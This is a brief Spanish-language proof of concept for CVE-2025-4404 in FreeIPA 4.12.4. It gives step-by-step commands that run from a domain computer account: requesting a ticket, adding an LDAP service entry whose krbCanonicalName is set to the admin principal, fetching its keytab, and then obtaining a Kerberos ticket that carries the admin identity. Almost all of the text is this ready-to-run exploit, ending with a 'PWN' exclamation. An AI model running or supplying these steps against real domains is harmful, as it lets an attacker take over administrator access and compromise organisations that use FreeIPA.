
PoC para CVE-2025-4404
POC para CVE-2025-4404
Si tienes una cuenta de equipo del dominio (host/pc1.[email protected]), puedes añadir el servicio por defecto. Y puedes establecer krbPrincipalName y krbCanonicalName. Por defecto, el valor del atributo krbCanonicalName no está presente en la cuenta de administrador de FreeIPA 4.12.4. Puedes solicitar un ticket de Kerberos con el valor krbPrincipalName, pero el ticket contendrá el valor krbCanonicalName.
¡Vamos!
Primero, solicitaremos un ticket en nombre de la cuenta del equipo:
$ kinit host/[email protected] -k -t /etc/krb5.keytab
Añadir a la cuenta de servicio LDAP:
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]¡¡¡PWN!!!
Puedes comprobar el ticket con:
ldapwhoami -H ldap://dc1.test.local